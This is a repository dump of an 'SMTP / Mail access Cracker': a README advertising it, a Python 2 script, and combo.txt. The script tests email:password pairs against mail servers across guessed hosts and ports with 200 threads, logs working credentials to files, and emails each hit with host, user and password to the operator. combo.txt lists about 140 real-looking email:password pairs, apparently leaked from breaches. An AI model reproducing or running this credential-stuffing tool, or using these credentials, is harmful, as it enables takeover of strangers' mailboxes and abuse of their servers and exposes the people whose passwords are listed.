├── README.md ├── combo.txt └── smtp.py /README.md: -------------------------------------------------------------------------------- 1 |

SMTP - Mail access Cracker

2 |

Build

3 |

SMTP / Mail access Cracker ☣ Scanner & check & send to email
You can use this tool to crack smtp | mail access 4 |
Combo Accepted : Email:pass 5 |

6 | 7 |

SMTP / Mail access Cracker

8 | 9 | SMTP / Mail access Cracker ☣ Scanner & check & send to email 10 | 11 | 12 | 13 | 14 | 15 |

Video

16 | Click Here 17 | 18 |

📧 Contact

19 |
  • You Want Ask About All My Tools Or Buy Tools Private Add Me On Facebook : fb.com/amir.othman.official
  • 20 |
    21 | 22 | ## Installation [Linux](https://wikipedia.org/wiki/Linux) [![alt tag](http://icons.iconarchive.com/icons/dakirby309/simply-styled/32/OS-Linux-icon.png)](https://fr.wikipedia.org/wiki/Linux) 23 | 24 | ```bash 25 | cd Desktop 26 | git clone https://github.com/aron-tn/SMTP.Cracker 27 | cd SMTP.Cracker 28 | python2 smtp.py 29 | ``` 30 | 31 | ## Installation [Android](https://wikipedia.org/wiki/Android) [![alt tag](https://cdn1.iconfinder.com/data/icons/logotypes/32/android-32.png)](https://fr.wikipedia.org/wiki/Android) 32 | 33 | Download [Termux](https://play.google.com/store/apps/details?id=com.termux) 34 | 35 | ```bash 36 | git clone https://github.com/aron-tn/SMTP.Cracker 37 | cd SMTP.Cracker 38 | python2 smtp.py 39 | ``` 40 | ## Installation [Windows ](https://wikipedia.org/wiki/Microsoft_Windows)[![alt tag](http://icons.iconarchive.com/icons/tatice/cristal-intense/32/Windows-icon.png)](https://fr.wikipedia.org/wiki/Microsoft_Windows) 41 | 42 | Download [cmder](https://github.com/cmderdev/cmder/releases/download/v1.3.11/cmder.zip) 43 | 44 | ```bash 45 | cd Desktop 46 | git clone https://github.com/aron-tn/SMTP.Cracker 47 | cd SMTP.Cracker 48 | smtp.py 49 | ``` 50 | -------------------------------------------------------------------------------- /combo.txt: -------------------------------------------------------------------------------- 1 | nishika@priyarao.com:nishika1602 2 | info@neroacciaio.com:mazzoleni 3 | kbecker_10@netwtc.net:racefan1 4 | varasdi@varsat.net:19480926 5 | dazhongma888@sina.com:sunzhong888 6 | morgan96@bex.net:soccer15 7 | meng_huoyun@sina.com:2193440 8 | ylhysw@263.net:19.55.423777 9 | jeanne-luo@263.net:19740131l777 10 | rndeb@buckeye-express.com:basil1 11 | richardclemons@hawaiiantel.net:saturn2004 12 | cpjjefrs@bex.net:2henry 13 | beth.raphael@hawaiiantel.net:jennie44 14 | islandbabe@hawaiiantel.net:c311001 15 | tandc@buckeye-express.com:isabelgrace2 16 | melinbeck84@bex.net:willowtree3 17 | khout@buckeye-express.com:Kvochick1 18 | discomart1@hawaiiantel.net:disco3544 19 | foxyliah@buckeye-express.com:aces25 20 | bushman35@buckeye-express.com:Smoochie1 21 | rmoraes@rantac.com.br:crom00 22 | srwood@mgwnet.com:wood9717 23 | colleeniebean@buckeyeexpress.com:oscar2 24 | devjrb@bex.net:DJB32909 25 | neuby@bex.net:simpsons1 26 | revlynn@buckeye-express.com:dharma1 27 | laurie29@buckeye-express.com:lsb17810429 28 | tablab@buckeye-express.com:mrbkeb12 29 | roger.mawa@imrog.com:n4ndq7ap 30 | bamer@bex.net:steve11 31 | nutty.monkey71@hawaiiantel.net:thatzhott7 32 | shellscookingkorner@bex.net:cc798ul 33 | pjhobbit@buckeye-express.com:benmilo11 34 | romina@buckeyeexpress.com:piggy13 35 | mma@njctech.com:062784 36 | 07220208@zjnu.net:lenna7boshi7 37 | iardrey@buckeye-express.com:neph1974 38 | vorderburg@bex.net:Treyan01 39 | thaisecavalcante@gazetaweb.com:634037 40 | bobandmo.bobandmo@hawaiiantel.net:bobandmo4736 41 | sabirch@mbox.com.au:oscar23 42 | jonpike@grapevine.net.au:53c55b80 43 | hnomura@gol.com:mhc01415!666 44 | contact@brocrecordz.com:gerome 45 | kilambi@ksbpartners.com:blinddog 46 | jessica_offutt@comcast.net:lovecharlie1 47 | fabrice.ros@rosandros.com:FRO2751 48 | brett@hillfamily.com:Racing01 49 | club@sanfiorbianconero.com:gvialli05 50 | bmx@vetorial.net:clone 51 | salazar_edwalton@windstream.net:cf1004 52 | gcproducts@windstream.net:Flavour123 53 | baileyschlepp@netins.net:bailey2318 54 | sam@kurosnavi.com:Kuros5521 55 | iron@berny.com.br:ScrollLock1 56 | bobbybrentsmith@windstream.net:Kaleb1 57 | janetamos@accesstoledo.com:steven923 58 | waynekemp@mi-connection.com:wesavor4199 59 | clairewayman@davidbowie.com:leanne 60 | peta.bourne@homemail.com.au:holt112 61 | fujiwara@j-ris.com:Libero1218 62 | captain229@nifty.com:kdx220sr 63 | onkel_k@lycos.com:selaks 64 | li_edge@aliyun.com:bobsu78bobsu79 65 | yangjiji@sina.com.cn:961435 66 | thiago@supersul.com.br:608470 67 | srinivas@dcsts.com:srinidcs 68 | info@brojohill.com:lumignano61 69 | seedmachao@21cn.com:z7718207 70 | steffer@grapevine.com.au:006354 71 | brigitte.tramblay@btj-consultants.com:breizh 72 | bea@maisondebea.com:maya92 73 | mallens.425@btopenworld.com:marilee64 74 | ngxxx@katamail.com:Giunicla 75 | luca.mare@marecreations.com:nonlasai 76 | estraub@northlc.com:57chevy 77 | dcwoodyard@netamumail.com:sallem 78 | ks504@ruraltel.net:liberty1 79 | nutechdw@uniserve.com:sarnafil1 80 | x.o@vip.163.com:apollo130376 81 | chenxf@21cn.net:901200 82 | sandrahirowatari@uniserve.com:3737 83 | lengjitao@vip.126.com:1986777120 84 | foucher.arnaud@laposte.net:tino 85 | syarbro@semo.net:bauernut 86 | neil@act3c.com.tw:123650575 87 | sarahjaneday@virginmedia.com:bogies11 88 | kynoch@xplornet.com:amber1 89 | wf8958889@bdchina.com:windows 90 | kevinpr@jkpdesigns.com:fcYbd677 91 | monty@montychandler.com:rkclassic13 92 | zhanghy@tuspark.com:zhyzhy223 93 | luoyu@hzvtc.net:luoyu1121 94 | gabbry@gabbry.com:flrm1977 95 | nguyenvanbon@vietbon.com:1NGUYENvanbon2 96 | minesh@grghana.com:neel25 97 | n7hwa@stangsgarage.com:81ghtBall 98 | jan@monkeyshinestudio.com:Twin23 99 | b368@netvigator.com:fiona522 100 | nick.finnegan@thebestgamesiteever.com:Frostbyte34! 101 | plj@chanjet.com:pangtc 102 | nozomi@pochi-house.com:Tatsuki0838 103 | ugge@beaucoup-fish.com:bebabeba 104 | larsendebussche@drivehq.com:zzhcndpp4a 105 | rmurphy@buckeye-access.com:math35 106 | news@tracking-time.com:ed5849-vs 107 | mac@halysis.com.br:qwepoi2 108 | sissy64@ideaone.net:jadabug1 109 | tony@cisame.com:2580tony 110 | alex@zhonggang-glass.com:cyd_1001 111 | segnalazioni@amicicani.com:Cn6q7bne 112 | f.pirolo@agrigenus.com:infoagri01 113 | lws2285@vip.sina.com:102410lws 114 | tiagovieira@avf-lda.com:222216310 115 | lxy@suntekscience.com:HLR123 116 | contact@engrenagesetsortileges.com:Greg2102 117 | purasi@sunnet.com.ua:14111982 118 | johnrundle@digisurf.net.au:6381JCA 119 | bergamowest@hotelbes.com:629lollo 120 | alain.aubert@asyrtes.com:&aqwWQA1 121 | karjalainenar@luukku.com:ANNIKKI 122 | info@angelbeautyproducts.com:angelbeauty123 123 | carrie66@quixnet.net:Luv4Kats 124 | dominga@myhotel.com.es:Dominga.2017 125 | peter.eriksson@3obpo.com:55855585 126 | dls@globaldialog.com:taylorlee 127 | wlsmith@maxxsouth.net:silver60 128 | erika@bluet.com.br:maquita1 129 | nosami@nsm45.net:g4545 130 | setup@dogsbestfriendsb.com:Dbf2014! 131 | info@metamorphosidesign.com:suzukigt380 132 | dnnlpdwf@188.com:6355193223 133 | secretariat@patrimonio-avocats.com:palomine 134 | adriano@eco7.com.br:12ric788A 135 | conradnapa@heartofiowa.net:parts4me 136 | nfk@zjtcm.net:CBXNFK 137 | sabina@grisolini.com:mancini 138 | pge@pacificgeotechnical.com:geotek91 139 | bis@giacomouse.com:omar 140 | sommer@bilyfest.com:Audrey1 141 | sandroceia@riogrande-rs.com.br:sdc007 142 | -------------------------------------------------------------------------------- /smtp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | #Coded By ARON-TN 4 | #Don't Change copyright Mother Fucker :) 5 | #Tunisia Coderz 6 | #Tool Finished In : 01:22 10/03/2019 7 | #Tool Fixed in : 15:33 10/06/2019 8 | import os,socket,threading,base64,datetime,sys,ssl,imaplib,time,re,uuid 9 | try: 10 | if os.name=='nt': 11 | os.system('cls') 12 | else: 13 | os.system('clear') 14 | except: 15 | print("\033[91mERROR :| \nConatct ARON-TN AS u LIKE !\033[00m") 16 | msg0 ="\033[91m########## verified Your modules ########" 17 | for i in msg0: 18 | sys.stdout.write(i) 19 | sys.stdout.flush() 20 | time.sleep(0.02) 21 | try: 22 | import Queue 23 | except: 24 | print"\033[91m[\033[92m?\033[91m] Installing Queue Module\033[00m" 25 | if os.name=='nt': 26 | try: 27 | os.system('C:\Python27\Scripts\pip2.exe install Queue') 28 | import Queue 29 | except: 30 | print "Install Python-Pip Sir" 31 | raw_input('') 32 | else: 33 | try: 34 | os.system('pip2 install Queue') 35 | import Queue 36 | except: 37 | print "\033[91mTry To Install pip2 For Your Devices And Try 'root@usr:~$ pip2 install Queue'\033[00m" 38 | try: 39 | import requests 40 | except: 41 | print"\033[91m[\033[92m?\033[91m] Installing requests Module\033[00m" 42 | if os.name=='nt': 43 | try: 44 | os.system('C:\Python27\Scripts\pip2.exe install requests') 45 | except: 46 | print "Install Python-Pip Sir" 47 | raw_input('') 48 | else: 49 | os.system('pip2 install requests') 50 | try: 51 | import requests 52 | except: 53 | print"\033[91m[\033[92m?\033[91m] Installing colorama Module\033[00m" 54 | if os.name=='nt': 55 | try: 56 | os.system('C:\Python27\Scripts\pip2.exe install colorama') 57 | except: 58 | print "Install Python-Pip Sir" 59 | raw_input('') 60 | else: 61 | os.system('pip2 install colorama') 62 | msg00 ="\n\033[92m##### GOOd Now You have all modules #####\n\033[0;96m############## Let's start ##############\033[92m\n" 63 | for i in msg00: 64 | sys.stdout.write(i) 65 | sys.stdout.flush() 66 | time.sleep(0.02) 67 | def aron(): 68 | try: 69 | if os.name=='nt': 70 | os.system('cls && cd SMTP-Mail.acess-Cracker-Checker && smtp.py') 71 | else: 72 | os.system('clear && cd SMTP-Mail.acess-Cracker-Checker && python2 smtp.py') 73 | except: 74 | print("\033[91mERROR :| \nConatct ARON-TN AS u LIKE !\033[00m") 75 | to_check={} 76 | from colorama import * 77 | init() 78 | print '\033[1m' 79 | class IMAP4_SSL(imaplib.IMAP4_SSL): 80 | def __init__(self, host='', port=imaplib.IMAP4_SSL_PORT, keyfile=None, 81 | certfile=None, ssl_version=None, ca_certs=None, 82 | ssl_ciphers=None,timeout=40): 83 | self.ssl_version = ssl_version 84 | self.ca_certs = ca_certs 85 | self.ssl_ciphers = ssl_ciphers 86 | self.timeout=timeout 87 | imaplib.IMAP4_SSL.__init__(self, host, port, keyfile, certfile) 88 | def open(self, host='', port=imaplib.IMAP4_SSL_PORT): 89 | self.host = host 90 | self.port = port 91 | self.sock = socket.create_connection((host, port),self.timeout) 92 | extra_args = {} 93 | if self.ssl_version: 94 | extra_args['ssl_version'] = self.ssl_version 95 | if self.ca_certs: 96 | extra_args['cert_reqs'] = ssl.CERT_REQUIRED 97 | extra_args['ca_certs'] = self.ca_certs 98 | if self.ssl_ciphers: 99 | extra_args['ciphers'] = self.ssl_ciphers 100 | self.sslobj = ssl.wrap_socket(self.sock, self.keyfile, self.certfile, 101 | **extra_args) 102 | self.file = self.sslobj.makefile('rb') 103 | class checkerr(threading.Thread): 104 | def __init__(self,host,user,pwd,timeout,interval): 105 | t=threading.Thread.__init__(self) 106 | self.host=host 107 | self.user=user 108 | self.pwd=pwd 109 | self.interval=interval 110 | self.timeout=timeout 111 | self.connected=False 112 | self.i=None 113 | self.work=True 114 | self.attemp=4 115 | self.inbox='' 116 | self.spam='' 117 | def connect(self): 118 | try: 119 | i=IMAP4_SSL(host=self.host,port=993) 120 | i.login(self.user,self.pwd) 121 | self.i=i 122 | self.connected=True 123 | except Exception,e: 124 | i.close() 125 | self.connected=False 126 | def find(self): 127 | global to_check 128 | if self.inbox=='': 129 | rez,folders=self.i.list() 130 | for f in folders: 131 | if '"|" ' in f: 132 | a=f.split('"|" ') 133 | elif '"/" ' in f: 134 | a=f.split('"/" ') 135 | folder=a[1].replace('"','') 136 | if self.inbox=="": 137 | if 'inbox' in folder.lower(): 138 | self.inbox=folder 139 | elif self.spam=="": 140 | if 'spam' in folder.lower(): 141 | self.spam=folder 142 | if self.spam=='': 143 | for f in folders: 144 | if '"|" ' in f: 145 | a=f.split('"|" ') 146 | elif '"/" ' in f: 147 | a=f.split('"/" ') 148 | folder=a[1].replace('"','') 149 | if self.spam=="": 150 | if 'trash' in folder: 151 | self.spam=folder 152 | else: 153 | break 154 | self.i.select(self.inbox) 155 | found=[] 156 | for k,t in enumerate(to_check): 157 | rez=self.i.search(None,'SUBJECT',t[0]) 158 | times=time.time()-t[1] 159 | if times-2>self.timeout: 160 | found.append(k) 161 | if len(rez)>0: 162 | found.append(k) 163 | self.i.select(self.spam) 164 | for k,t in enumerate(to_check): 165 | rez=self.i.search(None,'SUBJECT',t[0]) 166 | times=time.time()-t[1] 167 | if times-2>self.timeout: 168 | found.append(k) 169 | if len(rez)>0: 170 | found.append(k) 171 | new=[] 172 | for k,v in enumerate(to_check): 173 | if k not in found: 174 | new.append(v) 175 | to_check=new 176 | print '\033[91m[\033[92m+\033[91m]\033[92mChecking for emails\033[97m '+to_check+'\n' 177 | def run(self): 178 | global to_checks 179 | while self.work: 180 | if not self.connected: 181 | if self.attemp<=0: 182 | return 0 183 | self.connect() 184 | self.attemp-=1 185 | if len(to_check)>0: 186 | self.find() 187 | time.sleep(self.interval) 188 | def tld2(dom): 189 | global tlds 190 | if "." not in dom: 191 | return "" 192 | dom=dom.lower() 193 | parts=dom.split(".") 194 | if len(parts)<2 or parts[0]=="" or parts[1]=="": 195 | return "" 196 | tmp=parts[-1] 197 | for i,j in enumerate(parts[::-1][1:5]): 198 | try: 199 | tmp=tlds[tmp] 200 | tmp=j+"."+tmp 201 | except: 202 | if i==0: 203 | return "" 204 | return tmp 205 | return tmp 206 | class consumer(threading.Thread): 207 | def __init__(self,qu): 208 | threading.Thread.__init__(self) 209 | self.q=qu 210 | self.hosts=["","smtp.","mail.","webmail.","secure.","plus.smtp.","smtp.mail.","smtp.att.","pop3.","securesmtp.","outgoing.","smtp-mail.","plus.smtp.mail.","Smtpauths.","Smtpauth."] 211 | self.ports=[587,465,25] 212 | self.timeout=13 213 | def sendCmd(self,sock,cmd): 214 | sock.send(cmd+"\r\n") 215 | return sock.recv(900000) 216 | def addBad(self,ip): 217 | global bads,rbads 218 | if rbads: 219 | bads.append(ip) 220 | return -1 221 | def findHost(self,host): 222 | print '\033[91m[\033[92m*\033[91m]\033[92mSearching smtp host and port on \033[97m'+host+'\n' 223 | global cache,bads,rbads 224 | s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 225 | s.setblocking(0) 226 | s.settimeout(self.timeout) 227 | try: 228 | d=cache[host] 229 | try: 230 | if self.ports[d[1]]==465: 231 | s=ssl.wrap_socket(s) 232 | s.connect((self.hosts[d[0]]+host,self.ports[d[1]])) 233 | return s 234 | except Exception,e: 235 | if rbads: 236 | bads.append(host) 237 | return None 238 | except KeyError: 239 | pass 240 | cache[host]=[-1,-1] 241 | for i,p in enumerate(self.ports): 242 | for j,h in enumerate(self.hosts): 243 | print '\033[91m[\033[92m*\033[91m]\033[92mTrying connection on\033[97m '+h+host+':'+str(p)+'\n' 244 | try: 245 | s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 246 | s.setblocking(0) 247 | s.settimeout(self.timeout) 248 | if p==465: 249 | s=ssl.wrap_socket(s) 250 | s.connect((h+host,p)) 251 | cache[host]=[j,i] 252 | return s 253 | except Exception,e: 254 | continue 255 | bads.append(host) 256 | del cache[host] 257 | return None 258 | def getPass(self,passw,user,domain): 259 | passw=str(passw) 260 | if '%null%' in passw: 261 | return "" 262 | elif '%user%' in passw: 263 | user=user.replace('-','').replace('.','').replace('_','') 264 | return passw.replace('%user%',user) 265 | elif '%User%' in user: 266 | user=user.replace('-','').replace('.','').replace('_','') 267 | return passw.replace('%User%',user) 268 | elif '%special%' in user: 269 | user=user.replace('-','').replace('.','').replace('_','').replace('e','3').replace('i','1').replace('a','@') 270 | return passw.replace('%special%',user) 271 | elif '%domain%' in passw: 272 | return passw.replace('%domain%',domain.replace("-","")) 273 | if '%part' in passw: 274 | if '-' in user: 275 | parts=user.split('-') 276 | elif '.' in user: 277 | parts=user.split('.') 278 | elif '_' in user: 279 | parts=user.split('_') 280 | try: 281 | h=passw.replace('%part','').split('%')[0] 282 | i=int(h) 283 | p=passw.replace('%part'+str(i)+'%',parts[i-1]) 284 | return p 285 | except Exception,e: 286 | return None 287 | return passw 288 | def connect(self,tupple,ssl=False): 289 | global bads,cracked,cache,email 290 | host=tupple[0].rstrip() 291 | host1=host 292 | user=tupple[1].rstrip() 293 | if host1 in cracked or host1 in bads: 294 | return 0 295 | passw=self.getPass(tupple[2].rstrip(),user.rstrip().split('@')[0],host.rstrip().split('.')[0]) 296 | if passw==None: 297 | return 0 298 | try: 299 | if cache[host][0]==-1: 300 | return 0 301 | except KeyError: 302 | pass 303 | s=self.findHost(host) 304 | if s==None: 305 | return -1 306 | port=str(self.ports[cache[host][1]]) 307 | if port=="465": 308 | port+="(SSL)" 309 | host=self.hosts[cache[host][0]]+host 310 | print '\033[91m[\033[92m*\033[91m]\033[92mTrying > \033[97m'+host+":"+port+":"+user+":"+passw+'\n' 311 | try: 312 | banner=s.recv(1024) 313 | if banner[0:3]!="220": 314 | self.sendCmd(s,'QUIT') 315 | s.close() 316 | return self.addBad(host1) 317 | rez=self.sendCmd(s,"EHLO ADMIN") 318 | rez=self.sendCmd(s,"AUTH LOGIN") 319 | if rez[0:3]!='334': 320 | self.sendCmd(s,'QUIT') 321 | s.close() 322 | return self.addBad(host1) 323 | rez=self.sendCmd(s,base64.b64encode(user)) 324 | if rez[0:3]!='334': 325 | self.sendCmd(s,'QUIT') 326 | s.close() 327 | return self.addBad(host1) 328 | rez=self.sendCmd(s,base64.b64encode(passw)) 329 | if rez[0:3]!="235" or 'fail' in rez: 330 | self.sendCmd(s,'QUIT') 331 | s.close() 332 | return 0 333 | print '\n\033[93m[\033[90m>\033[00m]\033[91m B000M Cracked >\033[97m '+host+':'+port+' '+user+' '+passw+'\n' 334 | save=open('cracked_smtps.txt','a').write(host+":"+port+","+user+","+passw+"\n") 335 | save=open('cracked_Mailaccess.txt','a').write(user+":"+passw+"\n") 336 | cracked.append(host1) 337 | rez=self.sendCmd(s,"RSET") 338 | if rez[0:3]!='250': 339 | self.sendCmd(s,'QUIT') 340 | s.close() 341 | return self.addBad(host1) 342 | rez=self.sendCmd(s,"MAIL FROM: <"+user+">") 343 | if rez[0:3]!='250': 344 | self.sendCmd(s,'QUIT') 345 | s.close() 346 | return self.addBad(host1) 347 | rez=self.sendCmd(s,"RCPT TO: <"+email+">") 348 | if rez[0:3]!='250': 349 | self.sendCmd(s,'QUIT') 350 | s.close() 351 | return self.addBad(host1) 352 | rez=self.sendCmd(s,'DATA') 353 | headers='From: <'+user+'> ARON-TN\r\n' 354 | headers+='To: '+email+'\r\n' 355 | headers+='Reply-To: '+email+'\r\n' 356 | headers+='Subject: SMTP Cracker User-ID Num: ['+randomString+']\r\n' 357 | headers+='MIME-Version: 1.0\r\n' 358 | headers+='Content-Transfer-encoding: 8bit\r\n' 359 | headers+="Content-type: text/html; charset=utf-8\r\n"; 360 | headers+='Return-Path: %s\r\n'%user 361 | headers+='X-Priority: 1\r\n' 362 | headers+='X-MSmail-Priority: High\r\n' 363 | headers+='X-Mailer: Microsoft Office Outlook, Build 11.0.5510\r\n' 364 | headers+='X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441\r\n' 365 | headers+=''' 366 | 367 | 368 | 369 | 370 |
    371 |


    372 |

    [ > ]New Smtp Cracker V2.1 [ < ]


    373 |

    [ ! ]Developped by ARON-TN [ ! ]




    374 | /!\ WARNING /!\
    <"/">i don't accept any responsibility for any illegal usage !<"/">


    375 | Host : '''+host+'''

    376 | Port : '''+port+'''

    377 | Email : '''+user+'''

    378 | Password : '''+passw+'''

    379 |
    380 |



    381 | Email : aron.tn.official@gmail.com

    382 | Youtube : Click HEre

    383 | Facebook : Click HEre

    384 |

    © ARON-TN 2017-2019

    385 | 386 | \r\n.\r\n''' 387 | s.send(headers) 388 | rez=s.recv(1000) 389 | 390 | self.sendCmd(s,'QUIT') 391 | s.close() 392 | except Exception,e: 393 | s.close() 394 | return self.addBad(host1) 395 | def run(self): 396 | while True: 397 | cmb=self.q.get() 398 | self.connect(cmb) 399 | self.q.task_done() 400 | randomString = uuid.uuid4().hex 401 | randomString = randomString.upper()[0:7] 402 | quee=Queue.Queue(maxsize=20000) 403 | try: 404 | os.remove('about.txt') 405 | except: 406 | pass 407 | save=open('about.txt','a').write('Hello \n Welcome Again Smtp Cracker Available & Fixed :) \n [+] Developped By ARON-TN \n Thanks To : #Mr.Zack ** #Alpicino \n [*] Facebook > fb.com/amir.othman.official \n [*] Youtube > youtube.com/AronTNxOfficial') 408 | tld=open('about.txt','r').read().splitlines() 409 | tlds=cache={} 410 | bads=[] 411 | cracked=[] 412 | rbads=0 413 | vers=requests.get('https://pastebin.com/raw/WuWLQk73').text.encode('utf-8') 414 | print(''' 415 | \033[0;96m_ _ \033[93m______ __ __ ________ _______ \033[0;96m_ _ 416 | (c).-.(c) \033[93m/ \ / \ / |/ |/ \ \033[0;96m(c).-.(c) 417 | / ._. \ \033[93m/$$$$$$ |$$ \ /$$ |$$$$$$$$/ $$$$$$$ | \033[0;96m/ ._. \ 418 | __\( Y )/__ \033[93m$$ \__$$/ $$$ \ /$$$ | $$ | $$ |__$$ | \033[0;96m__\( Y )/__ 419 | (_.-/'-'\-._) \033[93m$$ \ $$$$ /$$$$ | $$ | $$ $$/ \033[0;96m(_.-/'-'\-._) 420 | || A || \033[93m$$$$$$ |$$ $$ $$/$$ | $$ | $$$$$$$/ \033[0;96m|| R || 421 | _.' `-' '._ \033[93m/ \__$$ |$$ |$$$/ $$ | $$ | $$ | \033[0;96m_.' `-' '._ 422 | (.-./`-'\.-.) \033[93m$$ $$/ $$ | $/ $$ | $$ | $$ | \033[0;96m(.-./`-'\.-.) 423 | `-' `-' \033[93m$$$$$$/ $$/ $$/ $$/ $$/ \033[0;96m`-' `-' 424 | \033[91m[\033[92m+\033[91m]\033[1m(C)opyright > Github.com/ARON-TN\033[91m [\033[92m+\033[91m] 425 | \033[91m[\033[92m+\033[91m]\033[95m SMTP CRACKER V2.1 DEVEL BY ARON-TN \033[91m[\033[92m+\033[91m] 426 | \033[91m[\033[92m+\033[91m]\033[92m Mail : aron.tn.official@gmail.com \033[91m[\033[92m+\033[91m] 427 | \033[91m[\033[92m+\033[91m]\033[94m Facebook > Fb.com/amir.othman.official \033[91m[\033[92m+\033[91m] 428 | \033[91m[\033[92m+\033[91m] Youtube > youtube.com/AronTNxOfficial \033[91m[\033[92m+\033[91m]''') 429 | ms0g ="\n\033[93mChecking\033[0;96m Your\033[91m Version (%s)\033[92m "%vers 430 | for i in ms0g: 431 | sys.stdout.write(i) 432 | sys.stdout.flush() 433 | time.sleep(0.02) 434 | if vers=='2.1': 435 | print('{>} Good You have last version \n') 436 | else: 437 | print("\033[91mThere is New Version available !! Do you Want To Update Your tool ? \033[00m") 438 | ok=raw_input(''' 439 | \033[91m[\033[94m1\033[91m]\033[00m YEs 440 | \033[91m[\033[94m2\033[91m]\033[00m No 441 | \033[91m[\033[94m>\033[91m]\033[00m : ''') 442 | if ok=='1': 443 | aroon ="\n Update Strated !\n" 444 | for i in aroon: 445 | sys.stdout.write(i) 446 | sys.stdout.flush() 447 | time.sleep(0.02) 448 | os.remove(sys.argv[0]) 449 | os.system('git clone https://github.com/aron-tn/SMTP.Cracker && cd SMTP.Cracker') 450 | if os.name=='nt': 451 | os.system('cls') 452 | else: 453 | os.system('clear') 454 | os.system('smtp.py') 455 | elif ok=='2': 456 | pass 457 | try: 458 | inputs=open(raw_input('\033[91m[\033[92m+\033[91m]\033[92m Combo Name : \033[97m'),'r').read().splitlines() 459 | except: 460 | sys.exit("\n\033[91m{!} Your File not Founded\033[00m") 461 | email=raw_input('\033[91m[\033[92m+\033[91m]\033[92m Enter Your Email :\033[97m ') 462 | thret=200 463 | def part(): 464 | global tld,tlds 465 | for i in tld: 466 | tlds[i]=i 467 | part() 468 | msg ="\n\033[91mConnecting ..........." 469 | for i in msg: 470 | sys.stdout.write(i) 471 | sys.stdout.flush() 472 | time.sleep(0.2) 473 | for i in range(int(thret)): 474 | try: 475 | t=consumer(quee) 476 | t.setDaemon(True) 477 | t.start() 478 | except: 479 | print "\033[91m{!} Working only with %s threads\033[00m"%i 480 | break 481 | try: 482 | for i in inputs: 483 | user = i.split(':')[0] 484 | password = i.split(':')[1] 485 | user = user.lower() 486 | quee.put((user.split('@')[1], user, password)) 487 | except: 488 | pass 489 | quee.join() 490 | --------------------------------------------------------------------------------